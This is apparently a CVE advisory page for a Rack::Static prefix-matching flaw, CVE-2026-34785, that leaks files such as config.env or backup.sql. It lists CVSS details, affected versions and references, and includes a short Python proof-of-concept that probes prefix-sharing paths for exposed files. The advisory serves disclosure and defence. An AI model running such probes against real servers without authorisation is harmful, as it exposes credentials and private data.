CVE-2026-34785

Description

Rack is a modular Ruby web server interface. Prior to versions 2.2.23, 3.1.21, and 3.2.6, Rack::Static determines whether a request should be served as a static file using a simple string prefix check. When configured with URL prefixes such as "/css", it matches any request path that begins with that string, including unrelated paths such as "/css-config.env" or "/css-backup.sql". As a result, files under the static root whose names merely share the configured prefix may be served unintentionally, leading to information disclosure. This issue has been patched in versions 2.2.23, 3.1.21, and 3.2.6.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:* - VULNERABLE

Rack < 2.2.23

Rack >= 3.0.0, < 3.1.21

Rack >= 3.2.0, < 3.2.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-34785
# This script checks if the server serves unintended files matching the prefix.

import requests

def check_vulnerability(target_url, prefix):
    # Construct a malicious path that starts with the prefix but targets a different file
    # Example: if prefix is '/css', try '/css-backup.sql'
    malicious_paths = [
        f"{prefix}-backup.sql",
        f"{prefix}-config.env",
        f"{prefix}.git"
    ]
    
    for path in malicious_paths:
        full_url = f"{target_url}{path}"
        try:
            response = requests.get(full_url, timeout=5)
            if response.status_code == 200:
                print(f"[+] Potential leak found at: {full_url}")
                print(f"Content Length: {len(response.content)} bytes")
            else:
                print(f"[-] No leak at: {full_url} (Status: {response.status_code})")
        except Exception as e:
            print(f"Error connecting to {full_url}: {e}")

if __name__ == "__main__":
    # Replace with the actual target base URL and configured prefix
    target = "http://localhost:3000"
    static_prefix = "/css"
    check_vulnerability(target, static_prefix)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34785
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34785
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34785/
[4] VulDB https://vuldb.com/cve/CVE-2026-34785
[5] https://github.com/rack/rack/security/advisories/GHSA-h2jq-g4cq-5ppq

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34785", "sourceIdentifier": "[email protected]", "published": "2026-04-02T17:16:24.873", "lastModified": "2026-04-16T17:19:35.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rack is a modular Ruby web server interface. Prior to versions 2.2.23, 3.1.21, and 3.2.6, Rack::Static determines whether a request should be served as a static file using a simple string prefix check. When configured with URL prefixes such as \"/css\", it matches any request path that begins with that string, including unrelated paths such as \"/css-config.env\" or \"/css-backup.sql\". As a result, files under the static root whose names merely share the configured prefix may be served unintentionally, leading to information disclosure. This issue has been patched in versions 2.2.23, 3.1.21, and 3.2.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-187"}, {"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionEndExcluding": "2.2.23", "matchCriteriaId": "AD5DE7DE-3A8B-4064-A7D5-1E117A101E81"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.1.21", "matchCriteriaId": "6948AAA6-873D-46BA-AA22-4C81138128E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.6", "matchCriteriaId": "3FB592AD-E826-49BE-AC6D-E5F55FDCC96E"}]}]}], "references": [{"url": "https://github.com/rack/rack/security/advisories/GHSA-h2jq-g4cq-5ppq", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}